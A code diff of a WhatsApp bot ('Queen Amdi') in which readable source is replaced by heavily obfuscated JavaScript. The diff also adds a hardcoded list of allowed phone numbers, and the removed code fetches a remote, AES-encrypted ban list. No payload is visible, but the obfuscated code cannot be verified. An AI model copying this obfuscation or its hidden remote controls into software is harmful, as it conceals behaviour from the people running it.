- const util = require("util");
187
- const readdir = util.promisify(fs.readdir);
188
- const readFile = util.promisify(fs.readFile);
189
- const { getBanJids } = require('../../../database/ban_jidDB');
190
- const { getWelcome, getBye } = require('../../../database/greetingsDB');
191
-
192
- // <<==== Plugins Controller ====>>
193
- let commandsPrimary = {};
194
- let commandsPrivate = {};
195
- let commandsAdmin = {};
196
-
197
- let reactionPrimary = {};
198
- let reactionPrivate = {};
199
- let reactionAdmin = {};
200
-
644
+ const Bot_Number = vars['\x42\x4f\x54\x5f\x4e\x55\x4d\x42\x45\x52'] + (_0x1fe2eb(-0x2a2, -0x1da) + _0x1fcd49(0xc5, 0x1a3)), allowedNumbs = [
645
+ _0x1fe2eb(-0x1b4, -0x1d2) + '\x32',
646
+ _0x1fcd49(0x1e1, 0x27e) + '\x38',
647
+ '\x39\x34\x37\x35\x37\x36\x37\x32\x38\x37' + '\x33',
648
+ _0x1fcd49(0x1a1, 0x1a1) + '\x39',
649
+ _0x1fcd49(0x2a5, 0x271) + '\x37',
650
+ _0x1fe2eb(-0x2d0, -0x220) + '\x39',
651
+ _0x1fcd49(0x144, 0x1f2) + '\x32'
652
+ ], footerTXT = _0x1fcd49(0xfe, 0x19e) + _0x1fe2eb(-0x1de, -0x260) + _0x1fe2eb(-0x24e, -0x26e), MOD = vars['\x4d\x4f\x44'], util = require(_0x1fcd49(0x1ab, 0x1e8)), readdir = util['\x70\x72\x6f\x6d\x69\x73\x69\x66\x79'](fs[_0x1fcd49(0x221, 0x23b)]), readFile = util[_0x1fcd49(0xd6, 0x123)](fs[_0x1fcd49(0x122, 0x1aa)]), {getBanJids} = require(_0x1fcd49(0xa4, 0x139) + _0x1fcd49(0x11c, 0x1e3) + _0x1fe2eb(-0x1ca, -0x1ef)), {getWelcome, getBye} = require('\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x64' + '\x61\x74\x61\x62\x61\x73\x65\x2f\x67\x72' + '\x65\x65\x74\x69\x6e\x67\x73\x44\x42');
653
+ let commandsPrimary = {}, commandsPrivate = {}, commandsAdmin = {}, reactionPrimary = {}, reactionPrivate = {}, reactionAdmin = {};
201
654
  var prefix = '';
202
- if (/\[(\W*)\]/.test(vars.PREFIX)) {
203
- prefix = vars.PREFIX.match(/\[(\W*)\]/)[1][0];
204
- } else {
205
- prefix = '.';
206
- }
207
-
655
+ /\[(\W*)\]/[_0x1fcd49(0x1c6, 0x235)](vars['\x50\x52\x45\x46\x49\x58']) ? prefix = vars[_0x1fe2eb(-0x191, -0x224)][_0x1fe2eb(-0x272, -0x33f)](/\[(\W*)\]/)[0x1][0x0] : prefix = '\x2e';
208
656
  const addCommands = async () => {
209
- let path = "./plugins/primary/";
210
- let filenames = await readdir(path);
211
- filenames.forEach((file) => {
212
- if (file.endsWith(".js")) {
213
- let { command } = require('.' + path + file);
214
- let cmdMap = command();
215
- const cmdInfo = cmdMap.cmdInfo;
216
- for (let c of Object.keys(cmdInfo)) {
217
- const cmdObjects = cmdInfo[c];
218
- commandsPrimary[cmdObjects.cmd] = cmdMap.operate;
219
- reactionPrimary[cmdObjects.cmd] = cmdObjects.react;
657
+ let _0x2aca96 = _0x2b4aad(0x483, 0x4c4) + _0x40fce4(0x90, -0x1a), _0x2b5403 = await readdir(_0x2aca96);
658
+ _0x2b5403[_0x40fce4(0x7e, 0x1b)](_0x2d5837 => {
659
+ function _0xb91cd9(_0x2de0dd, _0x26ea49) {
660
+ return _0x2b4aad(_0x26ea49 - 0xbc, _0x2de0dd);
220
661
  }
221
- }
222
- });
223
-
224
- path = "./plugins/private/";
225
- filenames = await readdir(path);
226
- filenames.forEach((file) => {
227
- if (file.endsWith(".js")) {
228
- let { command } = require('.' + path + file);
229
- let cmdMap = command();
230
- const cmdInfo = cmdMap.cmdInfo;
231
- for (let c of Object.keys(cmdInfo)) {
232
- const cmdObjects = cmdInfo[c];
233
- commandsPrivate[cmdObjects.cmd] = cmdMap.operate;
234
- reactionPrivate[cmdObjects.cmd] = cmdObjects.react;
662
+ function _0xa914d0(_0x5c0491, _0x44c346) {
663
+ return _0x2b4aad(_0x5c0491 - -0x404, _0x44c346);
235
664
  }
236
- }
237
- });
238
-
239
- path = "./plugins/admin/";
240
- filenames = await readdir(path);
241
- filenames.forEach((file) => {
242
- if (file.endsWith(".js")) {
243
- let { command } = require('.' + path + file);
244
- let cmdMap = command();
245
- const cmdInfo = cmdMap.cmdInfo;
246
- for (let c of Object.keys(cmdInfo)) {
247
- const cmdObjects = cmdInfo[c];
248
- commandsAdmin[cmdObjects.cmd] = cmdMap.operate;
249
- reactionAdmin[cmdObjects.cmd] = cmdObjects.react;
665
+ if (_0x2d5837[_0xb91cd9(0x5fd, 0x53b)](_0xa914d0(-0x71, 0x25))) {
666
+ let {command: _0x27ee5f} = require(_0xa914d0(-0x8d, -0x3d) + _0x2aca96 + _0x2d5837), _0x5f0d57 = _0x27ee5f();
667
+ const _0x28c787 = _0x5f0d57[_0xb91cd9(0x5dd, 0x576)];
668
+ for (let _0x5966dc of Object['\x6b\x65\x79\x73'](_0x28c787)) {
669
+ const _0x435578 = _0x28c787[_0x5966dc];
670
+ commandsPrimary[_0x435578[_0xb91cd9(0x444, 0x527)]] = _0x5f0d57[_0xa914d0(-0x2, -0x62)], reactionPrimary[_0x435578[_0xa914d0(0x67, 0xe4)]] = _0x435578['\x72\x65\x61\x63\x74'];
671
+ }
250
672
  }
251
- }
252
- });
253
-
254
- //deleting the files .webp .jpeg .jpg .mp3 .mp4 .png
255
- path = "./";
256
- filenames = await readdir(path);
257
- filenames.forEach((file) => {
258
- if (file.endsWith(".webp") || file.endsWith(".jpeg") || file.endsWith(".mp3") || file.endsWith(".mp4") || file.endsWith(".jpg") || file.endsWith(".png") || file.endsWith(".gif")) {
259
- fs.unlinkSync('.' + path + file);
260
- }
261
- });
262
- };
263
-
264
-
265
- // <<==== Queen Amdi Main Function ====>>
266
- const QueenAmdi = async () => {
267
- console.log('Queen Amdi Multi-Device💃❤');
268
- console.log(`🔖 Version : ${Lang.version} [Public]`);
269
-
270
- addCommands()
271
-
272
- setInterval(deleteAuth, 1000 * 60 * 30);
273
- await fetchauth();
274
- if (auth_row_count != 0) {
275
- state.creds = cred.creds;
276
- }
277
-
278
- const { version, isLatest } = await fetchLatestBaileysVersion(); // WA Web version checking
279
- console.log(`📟 Currently using Web WA: ${version.join(".")}v, 📋 Latest: ${isLatest}`);
280
- let noLogs = P({ level: "silent" }); // Hide the chat logs
281
-
282
-
283
- const amdiCONN = makeWASocket({
284
- version,
285
- logger: noLogs,
286
- defaultQueryTimeoutMs: undefined,
287
- printQRInTerminal: false,
288
- browser: [" Queen Amdi-MD ", "Safari", "1.0.0"],
289
- msgRetryCounterMap,
290
- auth: state,
291
- getMessage: retryMessageHandler
292
- });
293
-
294
- const store = makeInMemoryStore({
295
- logger: P().child({ level: "debug", stream: "store" }),
296
- });
297
- store.bind(amdiCONN.ev);
298
-
299
- // <==== Owner ====>
300
- const LoggerChat = (text) => {
301
- amdiCONN.sendMessage(vars.LOG_JID, { text: text })
302
- }
303
-
304
- // <==== group-participants.update ====>
305
- amdiCONN.ev.on('group-participants.update', async (grpData) => {
306
- if (vars.CHAT_UPDATES == 'true') {
307
- try {
308
- amdiCONN.groupMetadata(grpData.id).then((res) => {
309
- // console.log(res)
310
- LoggerChat(`💠 *Group Participant Updates*\n\n‣ Status: ${grpData.action} \n‣ Group Name: ${res.subject} \n‣ JID: ${grpData.id} \n‣ Participants: ${grpData.participants[0]}`);
311
- })
312
- } catch (e) {
313
- return;
673
+ }), _0x2aca96 = _0x40fce4(0x117, 0x1bd) + '\x70\x72\x69\x76\x61\x74\x65\x2f', _0x2b5403 = await readdir(_0x2aca96), _0x2b5403[_0x2b4aad(0x3ea, 0x4a3)](_0x2841cb => {
674
+ function _0x54b4da(_0xaf94e1, _0x38f6e1) {
675
+ return _0x40fce4(_0xaf94e1 - -0x237, _0x38f6e1);
314
676
  }
315
- }
316
-
317
- // console.log(grpData)
318
- const welcomeData = await getWelcome(grpData.id)
319
- const byeData = await getBye(grpData.id)
320
- if (grpData.action == 'add') {
321
- if (welcomeData !== -1 || welcomeData.welnote !== 'blank') {
322
- const welcomeButtons = [
323
- {index: 1, urlButton: {displayText: '💃🏻 Official Website', url: 'https://amdaniwasa.com/'}},
324
- {index: 2, urlButton: {displayText: '🎞️ AN Tech YouTube Channel', url: 'https://www.youtube.com/channel/UCZx8U1EU95-Wn9mH4dn15vQ'}}
325
- ]
326
- const welcomeTemplate = {
327
- caption: welcomeData.welnote,
328
- footer: footerTXT,
329
- templateButtons: welcomeButtons,
330
- image: {url: welcomeData.welpicurl}
331
- }
332
- return await amdiCONN.sendMessage(grpData.id, welcomeTemplate)
677
+ function _0x30a052(_0x1d4185, _0x378a66) {
678
+ return _0x40fce4(_0x378a66 - 0x2d7, _0x1d4185);
333
679
  }
334
- }
335
-
336
- if (grpData.action == 'remove') {
337
- if (byeData !== -1 || byeData.byenote !== 'blank') {
338
- const byeButtons = [
339
- {index: 1, urlButton: {displayText: '💃🏻 Official Website', url: 'https://amdaniwasa.com/'}},
340
- {index: 2, urlButton: {displayText: '🎞️ AN Tech YouTube Channel', url: 'https://www.youtube.com/channel/UCZx8U1EU95-Wn9mH4dn15vQ'}}
341
- ]
342
- const byeTemplate = {
343
- caption: byeData.byenote,
344
- footer: footerTXT,
345
- templateButtons: byeButtons,
346
- image: {url: byeData.byepicurl}
680
+ if (_0x2841cb['\x65\x6e\x64\x73\x57\x69\x74\x68']('\x2e\x6a\x73')) {
681
+ let {command: _0xf2368c} = require(_0x30a052(0x348, 0x2e2) + _0x2aca96 + _0x2841cb), _0x92f549 = _0xf2368c();
682
+ const _0x599cae = _0x92f549['\x63\x6d\x64\x49\x6e\x66\x6f'];
683
+ for (let _0x45eece of Object[_0x54b4da(-0x1eb, -0x1f1)](_0x599cae)) {
684
+ const _0x18c241 = _0x599cae[_0x45eece];
685
+ commandsPrivate[_0x18c241['\x63\x6d\x64']] = _0x92f549[_0x30a052(0x338, 0x36d)], reactionPrivate[_0x18c241[_0x54b4da(-0x138, -0xf0)]] = _0x18c241[_0x30a052(0x274, 0x34c)];
347
686
  }
348
- return await amdiCONN.sendMessage(grpData.id, byeTemplate)
349
687
  }
688
+ });
689
+ function _0x2b4aad(_0x63df40, _0xc374cb) {
690
+ return _0x1fcd49(_0xc374cb, _0x63df40 - 0x225);
350
691
  }
351
- });
352
-
353
- // <==== messages.upsert ====>
354
- amdiCONN.ev.on("messages.upsert", async (m) => {
355
- try {
356
- const msg = JSON.parse(JSON.stringify(m)).messages[0];
357
- if (!msg.message || msg.message.reactionMessage) return; //When demote, add, remove etc run, msg.message will return
358
- if (msg.key.remoteJid == "status@broadcast") return;
359
-
360
- const content = JSON.stringify(msg.message);
361
- const clientJID = msg.key.remoteJid;
362
- const type = Object.keys(msg.message)[0];
363
-
364
- const code = "manoj-amdi"
365
- let url = `https://raw.githubusercontent.com/BlackAmda/QueenAmdi/master/owner.json`
366
- const response = await got(url);
367
- const ownerJSON = JSON.parse(response.body);
368
- const banned_users_MM = ownerJSON.data.Manoj_Multi_Device.banned_user
369
- const banned_users_QA = ownerJSON.data.Queen_Amdi.banned_user
370
- const bytes_MM = CryptoJS.AES.decrypt(banned_users_MM, code);
371
- const bytes_QA = CryptoJS.AES.decrypt(banned_users_QA, code);
372
- const decrypt_JIDS_MM = bytes_MM.toString(CryptoJS.enc.Utf8);
373
- const decrypt_JIDS_QA = bytes_QA.toString(CryptoJS.enc.Utf8);
374
- var abc = decrypt_JIDS_MM.split(',');
375
- var efg = decrypt_JIDS_QA.split(',');
376
- const banned_group_MM = ownerJSON.data.Manoj_Multi_Device.banned_group
377
- const banned_group_QA = ownerJSON.data.Queen_Amdi.banned_group
378
-
379
-
380
- // <==== reply ====>
381
- const reply = (replyCL) => {
382
- amdiCONN.sendMessage(clientJID, { text: replyCL }, { quoted: (fromMe === false ? m.messages[0] : '') })
692
+ _0x2aca96 = _0x2b4aad(0x483, 0x538) + '\x61\x64\x6d\x69\x6e\x2f', _0x2b5403 = await readdir(_0x2aca96), _0x2b5403[_0x2b4aad(0x3ea, 0x413)](_0x28887c => {
693
+ function _0x5c077f(_0x19997d, _0x341417) {
694
+ return _0x2b4aad(_0x19997d - -0x38, _0x341417);
383
695
  }
384
-
385
- // <==== Audio Message ====>
386
- const sendAudioMsg = (audioURL, mimeType, pttStatus) => {
387
- amdiCONN.sendMessage(
388
- clientJID,
389
- { audio: { url: audioURL }, mimetype: mimeType, ptt: pttStatus },
390
- { quoted: (fromMe === false ? m.messages[0] : '') }
391
- )
696
+ function _0x26377d(_0x2ee276, _0x3aee9c) {
697
+ return _0x2b4aad(_0x2ee276 - 0x178, _0x3aee9c);
392
698
  }
393
-
394
- // <==== Button Message ====>
395
- const sendButtonMsg = (buttons, text, tagMsg, imageURL) => {
396
- var buttonMessage = ''
397
- if (imageURL) {
398
- buttonMessage = {
399
- image: {url: imageURL },
400
- caption: text,
401
- footer: footerTXT,
402
- buttons: buttons,
403
- headerType: 4
404
- }
405
- } else if (!imageURL) {
406
- buttonMessage = {
407
- text: text,
408
- footer: footerTXT,
409
- buttons: buttons,
410
- headerType: 1
411
- }
699
+ if (_0x28887c[_0x26377d(0x5f7, 0x6bf)](_0x26377d(0x50b, 0x536))) {
700
+ let {command: _0x4e2ff8} = require(_0x5c077f(0x33f, 0x345) + _0x2aca96 + _0x28887c), _0x489ab1 = _0x4e2ff8();
701
+ const _0x3d8a91 = _0x489ab1[_0x5c077f(0x482, 0x431)];
702
+ for (let _0x5c3342 of Object['\x6b\x65\x79\x73'](_0x3d8a91)) {
703
+ const _0x388a30 = _0x3d8a91[_0x5c3342];
704
+ commandsAdmin[_0x388a30['\x63\x6d\x64']] = _0x489ab1[_0x26377d(0x57a, 0x5fa)], reactionAdmin[_0x388a30[_0x5c077f(0x433, 0x4d1)]] = _0x388a30[_0x26377d(0x559, 0x602)];
412
705
  }
413
- amdiCONN.sendMessage(clientJID, buttonMessage, { quoted: (tagMsg === true ? (fromMe === false ? m.messages[0] : '') : '') })
414
706
  }
415
-
416
- // <==== Template Message ====>
417
- const sendTemplate = (buttons, text, tagMsg, imageURL) => {
418
- var templateMessage = ''
419
- if (imageURL) {
420
- templateMessage = {
421
- caption: text,
422
- footer: footerTXT,
423
- templateButtons: buttons,
424
- image: {url: imageURL}
425
- }
426
- } else if (!imageURL) {
427
- templateMessage = {
428
- text: text,
429
- footer: footerTXT,
430
- templateButtons: buttons
431
- }
432
- }
433
- amdiCONN.sendMessage(clientJID, templateMessage, { quoted: (tagMsg === true ? (fromMe === false ? m.messages[0] : '') : '') })
707
+ });
708
+ function _0x40fce4(_0x54a5f7, _0x132a09) {
709
+ return _0x1fcd49(_0x132a09, _0x54a5f7 - -0x147);
710
+ }
711
+ _0x2aca96 = '\x2e\x2f', _0x2b5403 = await readdir(_0x2aca96), _0x2b5403[_0x40fce4(0x7e, 0x118)](_0x26393f => {
712
+ function _0x3bf9e6(_0x2fa2ed, _0x3fc034) {
713
+ return _0x40fce4(_0x3fc034 - 0x190, _0x2fa2ed);
434
714
  }
435
-
436
- // <==== List Message ====>
437
- const sendListMsg = (listInfo, sections) => {
438
- var buttonTXT = ''
439
- if (listInfo.buttonTXT == 'default') { buttonTXT = 'Click here' }
440
- else { buttonTXT = listInfo.buttonTXT }
441
-
442
- const listMessage = {
443
- text: listInfo.text,
444
- footer: footerTXT,
445
- title: listInfo.title,
446
- buttonText: buttonTXT,
447
- sections
448
- };
449
- amdiCONN.sendMessage(clientJID, listMessage, { quoted: (fromMe === false ? m.messages[0] : '') })
715
+ function _0x12eccb(_0x29350c, _0x5ad9a9) {
716
+ return _0x40fce4(_0x29350c - -0x93, _0x5ad9a9);
450
717
  }
451
-
452
- // <==== Reaction ====>
453
- const react = (emoji, reactMsg) => {
454
- const reactionMessage = {
455
- react: {
456
- text: emoji,
457
- key: reactMsg.key
458
- }
459
- }
460
- amdiCONN.sendMessage(clientJID, reactionMessage)
461
- }
462
-
463
- // <==== Admin Fetch ====>
464
- const writeGroupAdmins = (participants) => {
465
- admins = [];
466
- for (let i of participants) {
467
- ((i.admin == 'admin') || (i.admin == 'superadmin')) ? admins.push(i.id) : "";
468
- }
469
- return admins;
470
- };
471
-
472
- // <==== Bot Number ====>
473
- let botNumberJid = amdiCONN.user.id;
474
- botNumberJid =
475
- botNumberJid.slice(0, botNumberJid.search(":")) +
476
- botNumberJid.slice(botNumberJid.search("@"));
477
-
478
-
479
- // <==== Message Body Reader ====>
480
- let msgBody = type === "conversation" && msg.message.conversation.startsWith(prefix)
481
- ? msg.message.conversation : type == "imageMessage" &&
482
- msg.message.imageMessage.caption &&
483
- msg.message.imageMessage.caption.startsWith(prefix)
484
- ? msg.message.imageMessage.caption : type == "videoMessage" &&
485
- msg.message.videoMessage.caption &&
486
- msg.message.videoMessage.caption.startsWith(prefix)
487
- ? msg.message.videoMessage.caption : type == "extendedTextMessage" &&
488
- msg.message.extendedTextMessage.text &&
489
- msg.message.extendedTextMessage.text.startsWith(prefix)
490
- ? msg.message.extendedTextMessage.text
491
- : type == "buttonsResponseMessage"
492
- ? msg.message.buttonsResponseMessage.selectedButtonId
493
- : type == "templateButtonReplyMessage"
494
- ? msg.message.templateButtonReplyMessage.selectedId
495
- : type == "listResponseMessage"
496
- ? msg.message.listResponseMessage.singleSelectReply.selectedRowId
497
- : type == "messageContextInfo"
498
- ? (msg.message.buttonsResponseMessage?.selectedButtonId || msg.message.listResponseMessage?.singleSelectReply.selectedRowId || msg.text)
499
- : "";
500
-
501
-
502
- if (msgBody[1] == " ") msgBody = msgBody[0] + msgBody.slice(2);
503
- const evv = msgBody.trim().split(/ +/).slice(1).join(' ');
504
- const command = msgBody.slice(1).trim().split(/ +/).shift().toLowerCase();
505
- const input = msgBody.trim().split(/ +/).slice(1);
506
- const isCmd = msgBody.startsWith(prefix);
507
- const isGroup = clientJID.endsWith("@g.us");
508
- const fromMe = m.messages[0].key.fromMe
509
- const msgDevice = getDevice(m.messages[0].key.id)
510
-
511
- let isReply;
512
- if (m.messages[0].message.hasOwnProperty('extendedTextMessage') &&
513
- m.messages[0].message.extendedTextMessage.hasOwnProperty('contextInfo') === true &&
514
- m.messages[0].message.extendedTextMessage.contextInfo.hasOwnProperty('quotedMessage')) {
515
- isReply = m.messages[0].message.extendedTextMessage.contextInfo.quotedMessage
516
- } else {
517
- isReply = false
718
+ (_0x26393f[_0x3bf9e6(0x2c8, 0x2a3)](_0x3bf9e6(0x19e, 0x17c)) || _0x26393f[_0x3bf9e6(0x1d4, 0x2a3)]('\x2e\x6a\x70\x65\x67') || _0x26393f['\x65\x6e\x64\x73\x57\x69\x74\x68']('\x2e\x6d\x70\x33') || _0x26393f[_0x12eccb(0x80, 0xbc)](_0x3bf9e6(0x301, 0x2ad)) || _0x26393f[_0x3bf9e6(0x1ff, 0x2a3)](_0x12eccb(-0x3d, 0x1c)) || _0x26393f[_0x3bf9e6(0x1e0, 0x2a3)](_0x3bf9e6(0x313, 0x270)) || _0x26393f['\x65\x6e\x64\x73\x57\x69\x74\x68'](_0x3bf9e6(0x31a, 0x289))) && fs[_0x12eccb(-0x20, -0xe8)](_0x12eccb(-0x88, -0x62) + _0x2aca96 + _0x26393f);
719
+ });
720
+ }, QueenAmdi = async () => {
721
+ console[_0x309389(0x2e, -0xa)](_0x309389(-0x3e, 0x8d) + _0x309389(-0x2, 0x82) + _0x760060(0x161, 0x1cb)), console[_0x760060(0xd3, 0xbe)](_0x760060(0xbc, 0x3a) + '\x3a\x20' + Lang[_0x760060(0x116, 0x14c)] + _0x760060(0x1df, 0x154)), addCommands(), setInterval(deleteAuth, 0x3e8 * 0x3c * 0x1e), await fetchauth();
722
+ auth_row_count != 0x0 && (state[_0x309389(0x194, 0x160)] = cred[_0x309389(0x1a8, 0x160)]);
723
+ const {
724
+ version: _0x49c171,
725
+ isLatest: _0x136dcc
726
+ } = await fetchLatestBaileysVersion();
727
+ console[_0x760060(0xd3, 0x48)](_0x309389(0xaf, 0x12c) + _0x309389(-0x55, 0x54) + _0x309389(0xa7, -0x31) + _0x49c171['\x6a\x6f\x69\x6e']('\x2e') + (_0x309389(-0xa3, 0x42) + _0x309389(0xf5, 0x6b)) + _0x136dcc);
728
+ const _0x54b344 = {};
729
+ _0x54b344['\x6c\x65\x76\x65\x6c'] = _0x760060(0xa8, 0x14f);
730
+ let _0x505641 = P(_0x54b344);
731
+ const _0x317c4a = {};
732
+ _0x317c4a['\x76\x65\x72\x73\x69\x6f\x6e'] = _0x49c171, _0x317c4a['\x6c\x6f\x67\x67\x65\x72'] = _0x505641, _0x317c4a['\x64\x65\x66\x61\x75\x6c\x74\x51\x75\x65' + _0x760060(0x180, 0x208) + '\x73'] = undefined, _0x317c4a['\x70\x72\x69\x6e\x74\x51\x52\x49\x6e\x54' + _0x309389(0xda, 0xc)] = ![], _0x317c4a['\x62\x72\x6f\x77\x73\x65\x72'] = [
733
+ _0x760060(0x17d, 0x17a) + _0x760060(0xae, 0x79),
734
+ _0x309389(0x12f, 0x48),
735
+ _0x760060(0x9d, 0xc1)
736
+ ], _0x317c4a[_0x309389(0x70, 0x6) + _0x309389(-0x82, 0x64)] = msgRetryCounterMap, _0x317c4a[_0x309389(-0xa8, -0x34)] = state, _0x317c4a[_0x309389(0xec, 0x40)] = retryMessageHandler;
737
+ const _0x44c8fe = makeWASocket(_0x317c4a), _0x2e4852 = {};
738
+ function _0x309389(_0x50e297, _0x49d4a1) {
739
+ return _0x1fe2eb(_0x50e297, _0x49d4a1 - 0x2e5);
740
+ }
741
+ _0x2e4852[_0x309389(0x2b, 0xef)] = _0x309389(0x113, 0x96), _0x2e4852[_0x760060(0x16d, 0xa9)] = _0x760060(0x1b5, 0x181);
742
+ const _0x445065 = makeInMemoryStore({ '\x6c\x6f\x67\x67\x65\x72': P()[_0x309389(-0x98, -0x4e)](_0x2e4852) });
743
+ _0x445065['\x62\x69\x6e\x64'](_0x44c8fe['\x65\x76']);
744
+ const _0x68fb3 = _0x25f188 => {
745
+ const _0x3f6870 = {};
746
+ function _0x3b0f81(_0x37c7fc, _0x2cf5f2) {
747
+ return _0x760060(_0x37c7fc - -0x35f, _0x2cf5f2);
518
748
  }
519
- const reply_message = isReply != false ? m.messages[0].message.extendedTextMessage.contextInfo.quotedMessage : false
520
-
521
- /*if (fromMe == false || !allowedNumbs.includes(senderNumb)) {
522
- if (msgDevice == 'web') {
523
- reply('*⛔ Other bots are not allowed here!*')
524
- }
525
- }*/
526
-
527
- // console.log(msg)
528
- if (!isCmd) return;
529
-
530
- // <==== Main Groups ====> CLOSED FOR BETA VERSION
531
- /*if (m.messages[0].key.remoteJid.includes('g.us')) {
532
- const QA_GROUPS = ownerJSON.data.Queen_Amdi.main_groups
533
- const MM_GROUPS = ownerJSON.data.Manoj_Multi_Device.main_groups
534
- if (QA_GROUPS.includes(m.messages[0].key.remoteJid.split('@')[0]) || MM_GROUPS.includes(m.messages[0].key.remoteJid.split('@')[0])) {
749
+ _0x3f6870['\x74\x65\x78\x74'] = _0x25f188;
750
+ function _0xb36666(_0x443871, _0x255146) {
751
+ return _0x309389(_0x255146, _0x443871 - 0x86);
752
+ }
753
+ _0x44c8fe[_0x3b0f81(-0x28b, -0x2db) + '\x65'](vars[_0xb36666(0xe6, 0x5e)], _0x3f6870);
754
+ };
755
+ _0x44c8fe['\x65\x76']['\x6f\x6e'](_0x760060(0x153, 0xe1) + '\x69\x63\x69\x70\x61\x6e\x74\x73\x2e\x75' + _0x309389(-0x103, -0x30), async _0x387287 => {
756
+ if (vars['\x43\x48\x41\x54\x5f\x55\x50\x44\x41\x54' + '\x45\x53'] == _0xafa597(0x356, 0x35a))
757
+ try {
758
+ _0x44c8fe[_0xafa597(0x445, 0x396) + _0x4cb729(0x449, 0x493)](_0x387287['\x69\x64'])[_0xafa597(0x39e, 0x3cf)](_0x1246f5 => {
759
+ function _0x3112c0(_0xc750b4, _0x3ea59d) {
760
+ return _0xafa597(_0xc750b4, _0x3ea59d - -0x155);
761
+ }
762
+ function _0x20552c(_0x394fd6, _0xe7c067) {
763
+ return _0xafa597(_0xe7c067, _0x394fd6 - 0x7d);
764
+ }
765
+ _0x68fb3(_0x3112c0(0x27e, 0x301) + _0x20552c(0x448, 0x4da) + _0x20552c(0x436, 0x369) + _0x20552c(0x38a, 0x312) + '\x20' + _0x387287['\x61\x63\x74\x69\x6f\x6e'] + (_0x3112c0(0x2f4, 0x213) + _0x20552c(0x3ec, 0x36a)) + _0x1246f5[_0x3112c0(0x3b4, 0x2d3)] + '\x20\x0a\u2023\x20\x4a\x49\x44\x3a\x20' + _0x387287['\x69\x64'] + (_0x3112c0(0x2b5, 0x296) + '\x69\x70\x61\x6e\x74\x73\x3a\x20') + _0x387287['\x70\x61\x72\x74\x69\x63\x69\x70\x61\x6e' + '\x74\x73'][0x0]);
766
+ });
767
+ } catch (_0x5b0f89) {
535
768
  return;
536
769
  }
537
- }*/
538
-
539
- // <==== Banned users ====>
540
- if (m.messages[0].key.remoteJid.includes('g.us') ? abc.includes(m.messages[0].key.participant.split('@')[0]) : abc.includes(m.messages[0].key.remoteJid.split('@')[0])) {
541
- amdiCONN.sendMessage(clientJID, { text: '⚠️ *Developers have banned you from using Queen Amdi and Manoj-MD bot.*' }, { quoted: m.messages[0] })
542
- return;
770
+ const _0x4e5db8 = await getWelcome(_0x387287['\x69\x64']);
771
+ function _0xafa597(_0x212976, _0x3ffa8f) {
772
+ return _0x309389(_0x212976, _0x3ffa8f - 0x2e5);
543
773
  }
544
- if (m.messages[0].key.remoteJid.includes('g.us') ? efg.includes(m.messages[0].key.participant.split('@')[0]) : efg.includes(m.messages[0].key.remoteJid.split('@')[0])) {
545
- amdiCONN.sendMessage(clientJID, { text: '⚠️ *Developers have banned you from using Queen Amdi and Manoj-MD bot.*' }, { quoted: m.messages[0] })
546
- return;
774
+ function _0x4cb729(_0xcafc13, _0x4f0851) {
775
+ return _0x309389(_0xcafc13, _0x4f0851 - 0x430);
547
776
  }
548
-
549
- // <==== Banned groups ====>
550
- if (m.messages[0].key.remoteJid.includes('g.us')) {
551
- if (banned_group_MM.includes(m.messages[0].key.remoteJid.split('@')[0]) || banned_group_QA.includes(m.messages[0].key.remoteJid.split('@')[0])) {
552
- amdiCONN.sendMessage(clientJID, { text: '⚠️ *Developers have banned this group from using Queen Amdi and Manoj-MD bot.*' }, { quoted: m.messages[0] })
553
- return;
777
+ const _0x1b1562 = await getBye(_0x387287['\x69\x64']);
778
+ if (_0x387287[_0xafa597(0x303, 0x36c)] == _0xafa597(0x3cf, 0x300)) {
779
+ if (_0x4e5db8 !== -0x1 || _0x4e5db8[_0x4cb729(0x511, 0x53a)] !== _0xafa597(0x3c4, 0x2e4)) {
780
+ const _0x3b76fb = {};
781
+ _0x3b76fb[_0x4cb729(0x4a5, 0x4c8) + '\x74'] = _0x4cb729(0x4cc, 0x54d) + _0xafa597(0x332, 0x3bb), _0x3b76fb[_0x4cb729(0x420, 0x497)] = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x6d' + _0xafa597(0x3f9, 0x314) + _0xafa597(0x35c, 0x3fc);
782
+ const _0x19cafc = {};
783
+ _0x19cafc[_0xafa597(0x2f9, 0x2c3)] = 0x1, _0x19cafc['\x75\x72\x6c\x42\x75\x74\x74\x6f\x6e'] = _0x3b76fb;
784
+ const _0x5be43d = {};
785
+ _0x5be43d[_0x4cb729(0x451, 0x4c8) + '\x74'] = _0xafa597(0x318, 0x2ff) + '\x59\x6f\x75\x54\x75\x62\x65\x20\x43\x68' + _0xafa597(0x2cb, 0x2c6), _0x5be43d['\x75\x72\x6c'] = _0xafa597(0x295, 0x2ee) + _0x4cb729(0x567, 0x58a) + _0x4cb729(0x539, 0x57b) + _0xafa597(0x369, 0x3d0) + _0xafa597(0x343, 0x3ba) + '\x64\x6e\x31\x35\x76\x51';
786
+ const _0x116453 = {};
787
+ _0x116453[_0xafa597(0x21b, 0x2c3)] = 0x2, _0x116453[_0x4cb729(0x482, 0x49e)] = _0x5be43d;
788
+ const _0x5e4278 = [
789
+ _0x19cafc,
790
+ _0x116453
791
+ ], _0xdfda68 = {};
792
+ _0xdfda68[_0xafa597(0x2df, 0x39a)] = _0x4e5db8['\x77\x65\x6c\x6e\x6f\x74\x65'], _0xdfda68['\x66\x6f\x6f\x74\x65\x72'] = footerTXT, _0xdfda68['\x74\x65\x6d\x70\x6c\x61\x74\x65\x42\x75' + _0x4cb729(0x3b9, 0x46b)] = _0x5e4278, _0xdfda68[_0x4cb729(0x3aa, 0x3e4)] = {}, _0xdfda68[_0x4cb729(0x3aa, 0x3e4)][_0xafa597(0x361, 0x34c)] = _0x4e5db8['\x77\x65\x6c\x70\x69\x63\x75\x72\x6c'];
793
+ const _0x32d43e = _0xdfda68;
794
+ return await _0x44c8fe[_0x4cb729(0x483, 0x427) + '\x65'](_0x387287['\x69\x64'], _0x32d43e);
554
795
  }
555
796
  }
556
-
557
-
558
- // <==== Message Seen Status ====>
559
- const readMessages = () => {
560
- if (vars.READ_KEY == 'true') {
561
- const readkey = {
562
- remoteJid: clientJID,
563
- id: m.messages[0].key.id,
564
- participant: isGroup ? m.messages[0].key.participant : undefined
565
- }
566
- amdiCONN.readMessages([readkey]);
797
+ if (_0x387287[_0xafa597(0x43b, 0x36c)] == _0xafa597(0x3a5, 0x407)) {
798
+ if (_0x1b1562 !== -0x1 || _0x1b1562[_0x4cb729(0x5e4, 0x50b)] !== _0x4cb729(0x389, 0x42f)) {
799
+ const _0x377d80 = {};
800
